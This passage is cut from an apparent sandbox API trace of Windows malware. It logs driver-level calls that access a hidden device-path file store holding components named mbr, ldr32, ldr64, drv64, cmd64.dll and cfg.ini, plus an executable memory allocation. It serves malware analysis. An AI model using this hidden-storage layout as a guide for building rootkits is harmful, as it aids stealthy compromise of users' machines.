MemoryDescriptorList=0xfffffa80038277e0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038277e0) [0110.227] KeInitializeEvent (in: Event=0xfffff880027da620, Type=0x0, State=0 | out: Event=0xfffff880027da620) [0110.227] IdePortDispatch () returned 0x103 [0110.227] KeWaitForMutexObject () returned 0x0 [0110.227] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0110.227] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.227] KeLeaveCriticalRegion () [0110.227] IofCompleteRequest (Irp=0xfffffa80028a3850, PriorityBoost=0) [0110.227] _snprintf (in: _Dest=0xfffff880027da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0110.227] KeEnterCriticalRegion () [0110.227] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.227] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038277e0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bc3000 [0110.228] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800393ec30 [0110.228] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800393ec30 | out: Irp=0xfffffa800393ec30) returned 0xfffffa80038a5010 [0110.228] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0110.228] KeInitializeEvent (in: Event=0xfffff880027da5d0, Type=0x0, State=0 | out: Event=0xfffff880027da5d0) [0110.228] IdePortDispatch () returned 0x103 [0110.228] KeWaitForMutexObject () returned 0x0 [0110.228] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0110.228] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800393ec30 [0110.228] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800393ec30 | out: Irp=0xfffffa800393ec30) returned 0xfffffa80038a5010 [0110.228] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0110.228] KeInitializeEvent (in: Event=0xfffff880027da5d0, Type=0x0, State=0 | out: Event=0xfffff880027da5d0) [0110.228] IdePortDispatch () returned 0x103 [0110.228] KeWaitForMutexObject () returned 0x0 [0110.228] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.228] KeLeaveCriticalRegion () [0110.228] IofCompleteRequest (Irp=0xfffffa80028a3850, PriorityBoost=0) [0110.229] _snprintf (in: _Dest=0xfffff880027da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0110.229] KeEnterCriticalRegion () [0110.229] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.229] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80028a3850, Context=0x0) returned 0x0 [0110.229] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.229] KeLeaveCriticalRegion () [0110.229] _snprintf (in: _Dest=0xfffff880027da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0110.229] KeEnterCriticalRegion () [0110.229] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.229] IoGetRequestorProcess (Irp=0xfffffa80028a3850) returned 0xfffffa800389eb30 [0110.229] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003995da0, ProcessId=0xfffffa800389eb30, Context=0x0) returned 0xc000007e [0110.229] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.229] KeLeaveCriticalRegion () [0110.229] IofCompleteRequest (Irp=0xfffffa80028a3850, PriorityBoost=0) [0110.229] _snprintf (in: _Dest=0xfffff880027da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0110.229] KeEnterCriticalRegion () [0110.229] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.229] ExFreePoolWithTag (P=0xfffffa80038a9160, Tag=0x0) [0110.229] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.229] KeLeaveCriticalRegion () [0110.229] IofCompleteRequest (Irp=0xfffffa80028a3850, PriorityBoost=0) [0110.229] ReleaseMutex (hMutex=0x130) returned 1 [0110.229] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0xffffffff) returned 0x0 [0110.229] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="ns_conf", nDefault=3, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x3 [0110.229] _snprintf (in: _Dest=0xfffff880027da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0110.229] KeEnterCriticalRegion () [0110.229] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.229] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800393ec30 [0110.229] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800393ec30 | out: Irp=0xfffffa800393ec30) returned 0xfffffa80038277e0 [0110.229] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038277e0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038277e0) [0110.229] KeInitializeEvent (in: Event=0xfffff880027da2c0, Type=0x0, State=0 | out: Event=0xfffff880027da2c0) [0110.229] IdePortDispatch () returned 0x103 [0110.229] KeWaitForMutexObject () returned 0x0 [0110.230] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0110.230] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0110.230] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0110.230] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0110.230] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0110.230] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800368abb0 [0110.230] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.230] KeLeaveCriticalRegion () [0110.230] IofCompleteRequest (Irp=0xfffffa80028a3850, PriorityBoost=0) [0110.230] _snprintf (in: _Dest=0xfffff880027da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0110.230] KeEnterCriticalRegion () [0110.230] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.230] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80028a3850, Context=0x0) returned 0x0 [0110.230] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.230] KeLeaveCriticalRegion () [0110.230] _snprintf (in: _Dest=0xfffff880027da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0110.230] KeEnterCriticalRegion () [0110.230] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.230] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800393ec30 [0110.230] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800393ec30 | out: Irp=0xfffffa800393ec30) returned 0xfffffa80038277e0 [0110.230] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038277e0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038277e0) [0110.230] KeInitializeEvent (in: Event=0xfffff880027da620, Type=0x0, State=0 | out: Event=0xfffff880027da620) [0110.230] IdePortDispatch () returned 0x103 [0110.230] KeWaitForMutexObject () returned 0x0 [0110.230] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0110.230] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.231] KeLeaveCriticalRegion () [0110.231] IofCompleteRequest (Irp=0xfffffa80028a3850, PriorityBoost=0) [0110.231] _snprintf (in: _Dest=0xfffff880027da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0110.231] KeEnterCriticalRegion () [0110.231] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.231] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038277e0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bc5000 [0110.231] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800393ec30 [0110.231] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800393ec30 | out: Irp=0xfffffa800393ec30) returned 0xfffffa80038a5010 [0110.231] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0110.231] KeInitializeEvent (in: Event=0xfffff880027da5d0, Type=0x0, State=0 | out: Event=0xfffff880027da5d0) [0110.231] IdePortDispatch () returned 0x103 [0110.231] KeWaitForMutexObject () returned 0x0 [0110.231] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0110.231] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800393ec30 [0110.231] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800393ec30 | out: Irp=0xfffffa800393ec30) returned 0xfffffa80038a5010 [0110.231] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0110.231] KeInitializeEvent (in: Event=0xfffff880027da5d0, Type=0x0, State=0 | out: Event=0xfffff880027da5d0) [0110.231] IdePortDispatch () returned 0x103 [0110.232] KeWaitForMutexObject () returned 0x0 [0110.232] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.232] KeLeaveCriticalRegion () [0110.232] IofCompleteRequest (Irp=0xfffffa80028a3850, PriorityBoost=0) [0110.232] _snprintf (in: _Dest=0xfffff880027da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0110.232] KeEnterCriticalRegion () [0110.232] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.232] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80028a3850, Context=0x0) returned 0x0 [0110.232] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.232] KeLeaveCriticalRegion () [0110.232] _snprintf (in: _Dest=0xfffff880027da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0110.232] KeEnterCriticalRegion () [0110.232] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.232] IoGetRequestorProcess (Irp=0xfffffa80028a3850) returned 0xfffffa800389eb30 [0110.232] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aedea0, ProcessId=0xfffffa800389eb30, Context=0x0) returned 0xc000007e [0110.232] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.232] KeLeaveCriticalRegion () [0110.232] IofCompleteRequest (Irp=0xfffffa80028a3850, PriorityBoost=0) [0110.232] _snprintf (in: _Dest=0xfffff880027da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0110.232] KeEnterCriticalRegion () [0110.232] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.232] ExFreePoolWithTag (P=0xfffffa800368abb0, Tag=0x0) [0110.232] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.232] KeLeaveCriticalRegion () [0110.232] IofCompleteRequest (Irp=0xfffffa80028a3850, PriorityBoost=0) [0110.232] ReleaseMutex (hMutex=0x130) returned 1 [0110.233] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x380000 [0110.233] _snprintf (in: _Dest=0x27930, _Count=0x3ff, _Format="%s\\%s" | out: _Dest="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\bckfg.tmp") returned 49 [0110.233] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\bckfg.tmp" (normalized: "\\device\\000001a9\\0d24eb7c\\bckfg.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0110.233] _snprintf (in: _Dest=0xfffff880027da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\bckfg.tmp") returned 18 [0110.233] KeEnterCriticalRegion () [0110.233] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.233] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800393ec30 [0110.233] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800393ec30 | out: Irp=0xfffffa800393ec30) returned 0xfffffa80038277e0 [0110.233] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038277e0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038277e0) [0110.233] KeInitializeEvent (in: Event=0xfffff880027da2c0, Type=0x0, State=0 | out: Event=0xfffff880027da2c0) [0110.233] IdePortDispatch () returned 0x103 [0110.233] KeWaitForMutexObject () returned 0x0 [0110.233] _strnicmp (_Str1="cfg.ini", _Str="bckfg.tmp", _MaxCount=0x10) returned 1 [0110.233] _strnicmp (_Str1="mbr", _Str="bckfg.tmp", _MaxCount=0x10) returned 11 [0110.233] _strnicmp (_Str1="ldr16", _Str="bckfg.tmp", _MaxCount=0x10) returned 10 [0110.233] _strnicmp (_Str1="ldr32", _Str="bckfg.tmp", _MaxCount=0x10) returned 10 [0110.233] _strnicmp (_Str1="ldr64", _Str="bckfg.tmp", _MaxCount=0x10) returned 10 [0110.233] _strnicmp (_Str1="drv32", _Str="bckfg.tmp", _MaxCount=0x10) returned 2 [0110.233] _strnicmp (_Str1="drv64", _Str="bckfg.tmp", _MaxCount=0x10) returned 2 [0110.233] _strnicmp (_Str1="cmd.dll", _Str="bckfg.tmp", _MaxCount=0x10) returned 1 [0110.233] _strnicmp (_Str1="cmd64.dll", _Str="bckfg.tmp", _MaxCount=0x10) returned 1 [0110.233] _strnicmp (_Str1="bckfg.tmp", _Str="bckfg.tmp", _MaxCount=0x10) returned 0 [0110.233] _strnicmp (_Str1="cmd.dll", _Str="bckfg.tmp", _MaxCount=0x10) returned 1 [0110.233] _strnicmp (_Str1="cmd64.dll", _Str="bckfg.tmp", _MaxCount=0x10) returned 1 [0110.233] strncpy (in: _Dest=0xfffffa80027daf68, _Source="bckfg.tmp", _Count=0x10 | out: _Dest="bckfg.tmp") returned="bckfg.tmp" [0110.233] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0110.233] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037b0300 [0110.233] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.233] KeLeaveCriticalRegion () [0110.233] IofCompleteRequest (Irp=0xfffffa80028a3850, PriorityBoost=0) [0110.234] GetFileSize (in: hFile=0x16c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x21a [0110.234] _snprintf (in: _Dest=0xfffff880027da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\bckfg.tmp") returned 18 [0110.234] KeEnterCriticalRegion () [0110.234] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.234] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800393ec30 [0110.234] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800393ec30 | out: Irp=0xfffffa800393ec30) returned 0xfffffa80038277e0 [0110.234] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038277e0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038277e0) [0110.234] KeInitializeEvent (in: Event=0xfffff880027da620, Type=0x0, State=0 | out: Event=0xfffff880027da620) [0110.234] IdePortDispatch () returned 0x103 [0110.234] KeWaitForMutexObject () returned 0x0 [0110.234] _strnicmp (_Str1="cfg.ini", _Str="bckfg.tmp", _MaxCount=0x10) returned 1 [0110.234] _strnicmp (_Str1="mbr", _Str="bckfg.tmp", _MaxCount=0x10) returned 11 [0110.234] _strnicmp (_Str1="ldr16", _Str="bckfg.tmp", _MaxCount=0x10) returned 10 [0110.234] _strnicmp (_Str1="ldr32", _Str="bckfg.tmp", _MaxCount=0x10) returned 10 [0110.234] _strnicmp (_Str1="ldr64", _Str="bckfg.tmp", _MaxCount=0x10) returned 10 [0110.234] _strnicmp (_Str1="drv32", _Str="bckfg.tmp", _MaxCount=0x10) returned 2 [0110.234] _strnicmp (_Str1="drv64", _Str="bckfg.tmp", _MaxCount=0x10) returned 2 [0110.234] _strnicmp (_Str1="cmd.dll", _Str="bckfg.tmp", _MaxCount=0x10) returned 1 [0110.234] _strnicmp (_Str1="cmd64.dll", _Str="bckfg.tmp", _MaxCount=0x10) returned 1 [0110.234] _strnicmp (_Str1="bckfg.tmp", _Str="bckfg.tmp", _MaxCount=0x10) returned 0 [0110.234] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.234] KeLeaveCriticalRegion () [0110.234] IofCompleteRequest (Irp=0xfffffa80028a3850, PriorityBoost=0) [0110.234] CloseHandle (hObject=0x16c) returned 1 [0110.234] _snprintf (in: _Dest=0xfffff880027da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\bckfg.tmp") returned 18 [0110.234] KeEnterCriticalRegion () [0110.234] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.235] IoGetRequestorProcess (Irp=0xfffffa80028a3850) returned 0xfffffa800389eb30 [0110.235] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003678070, ProcessId=0xfffffa800389eb30, Context=0x0) returned 0xc000007e [0110.235] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.235] KeLeaveCriticalRegion () [0110.235] IofCompleteRequest (Irp=0xfffffa80028a3850, PriorityBoost=0) [0110.235] _snprintf (in: _Dest=0xfffff880027da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\bckfg.tmp") returned 18 [0110.235] KeEnterCriticalRegion () [0110.235] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.235] ExFreePoolWithTag (P=0xfffffa80037b0300, Tag=0x0) [0110.235] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.235] KeLeaveCriticalRegion () [0110.235] IofCompleteRequest (Irp=0xfffffa80028a3850, PriorityBoost=0) [0110.235] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\bckfg.tmp" (normalized: "\\device\\000001a9\\0d24eb7c\\bckfg.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0110.235] _snprintf (in: _Dest=0xfffff880027da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\bckfg.tmp") returned 18 [0110.235] KeEnterCriticalRegion () [0110.235] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.235] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800393ec30 [0110.235] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800393ec30 | out: Irp=0xfffffa800393ec30) returned 0xfffffa80038277e0 [0110.235] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038277e0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038277e0) [0110.235] KeInitializeEvent (in: Event=0xfffff880027da2c0, Type=0x0, State=0 | out: Event=0xfffff880027da2c0) [0110.235] IdePortDispatch () returned 0x103 [0110.235] KeWaitForMutexObject () returned 0x0 [0110.235] _strnicmp (_Str1="cfg.ini", _Str="bckfg.tmp", _MaxCount=0x10) returned 1 [0110.235] _strnicmp (_Str1="mbr", _Str="bckfg.tmp", _MaxCount=0x10) returned 11 [0110.235] _strnicmp (_Str1="ldr16", _Str="bckfg.tmp", _MaxCount=0x10) returned 10 [0110.235] _strnicmp (_Str1="ldr32", _Str="bckfg.tmp", _MaxCount=0x10) returned 10 [0110.235] _strnicmp (_Str1="ldr64", _Str="bckfg.tmp", _MaxCount=0x10) returned 10 [0110.235] _strnicmp (_Str1="drv32", _Str="bckfg.tmp", _MaxCount=0x10) returned 2 [0110.236] _strnicmp (_Str1="drv64", _Str="bckfg.tmp", _MaxCount=0x10) returned 2 [0110.236] _strnicmp (_Str1="cmd.dll", _Str="bckfg.tmp", _MaxCount=0x10) returned 1 [0110.236] _strnicmp (_Str1="cmd64.dll", _Str="bckfg.tmp", _MaxCount=0x10) returned 1 [0110.236] _strnicmp (_Str1="bckfg.tmp", _Str="bckfg.tmp", _MaxCount=0x10) returned 0 [0110.236] _strnicmp (_Str1="cmd.dll", _Str="bckfg.tmp", _MaxCount=0x10) returned 1 [0110.236] _strnicmp (_Str1="cmd64.dll", _Str="bckfg.tmp", _MaxCount=0x10) returned 1 [0110.236] strncpy (in: _Dest=0xfffffa80027daf68, _Source="bckfg.tmp", _Count=0x10 | out: _Dest="bckfg.tmp") returned="bckfg.tmp" [0110.236] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0110.236] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800393ce60 [0110.236] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.236] KeLeaveCriticalRegion () [0110.236] IofCompleteRequest (Irp=0xfffffa80028a3850, PriorityBoost=0) [0110.236] GetFileSize (in: hFile=0x16c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x21a [0110.236] _snprintf (in: _Dest=0xfffff880027da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\bckfg.tmp") returned 18 [0110.236] KeEnterCriticalRegion () [0110.236] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.236] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800393ec30 [0110.236] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800393ec30 | out: Irp=0xfffffa800393ec30) returned 0xfffffa80038277e0 [0110.236] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038277e0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038277e0) [0110.236] KeInitializeEvent (in: Event=0xfffff880027da620, Type=0x0, State=0 | out: Event=0xfffff880027da620) [0110.236] IdePortDispatch () returned 0x103 [0110.236] KeWaitForMutexObject () returned 0x0 [0110.236] _strnicmp (_Str1="cfg.ini", _Str="bckfg.tmp", _MaxCount=0x10) returned 1 [0110.236] _strnicmp (_Str1="mbr", _Str="bckfg.tmp", _MaxCount=0x10) returned 11 [0110.236] _strnicmp (_Str1="ldr16", _Str="bckfg.tmp", _MaxCount=0x10) returned 10 [0110.236] _strnicmp (_Str1="ldr32", _Str="bckfg.tmp", _MaxCount=0x10) returned 10 [0110.236] _strnicmp (_Str1="ldr64", _Str="bckfg.tmp", _MaxCount=0x10) returned 10 [0110.236] _strnicmp (_Str1="drv32", _Str="bckfg.tmp", _MaxCount=0x10) returned 2 [0110.236] _strnicmp (_Str1="drv64", _Str="bckfg.tmp", _MaxCount=0x10) returned 2 [0110.236] _strnicmp (_Str1="cmd.dll", _Str="bckfg.tmp", _MaxCount=0x10) returned 1 [0110.236] _strnicmp (_Str1="cmd64.dll", _Str="bckfg.tmp", _MaxCount=0x10) returned 1 [0110.236] _strnicmp (_Str1="bckfg.tmp", _Str="bckfg.tmp", _MaxCount=0x10) returned 0 [0110.237] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.237] KeLeaveCriticalRegion () [0110.237] IofCompleteRequest (Irp=0xfffffa80028a3850, PriorityBoost=0) [0110.237] CloseHandle (hObject=0x16c) returned 1 [0110.237] _snprintf (in: _Dest=0xfffff880027da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\bckfg.tmp") returned 18 [0110.237] KeEnterCriticalRegion () [0110.237] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.237] IoGetRequestorProcess (Irp=0xfffffa80028a3850) returned 0xfffffa800389eb30 [0110.237] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003b4f310, ProcessId=0xfffffa800389eb30, Context=0x0) returned 0xc000007e [0110.237] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.237] KeLeaveCriticalRegion () [0110.237] IofCompleteRequest (Irp=0xfffffa80028a3850, PriorityBoost=0) [0110.237] _snprintf (in: _Dest=0xfffff880027da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\bckfg.tmp") returned 18 [0110.237] KeEnterCriticalRegion () [0110.237] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.237] ExFreePoolWithTag (P=0xfffffa800393ce60, Tag=0x0) [0110.237] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.237] KeLeaveCriticalRegion () [0110.237] IofCompleteRequest (Irp=0xfffffa80028a3850, PriorityBoost=0) [0110.237] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\bckfg.tmp" (normalized: "\\device\\000001a9\\0d24eb7c\\bckfg.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0110.237] _snprintf (in: _Dest=0xfffff880027da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\bckfg.tmp") returned 18 [0110.237] KeEnterCriticalRegion () [0110.237] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.237] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800393ec30 [0110.237] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, 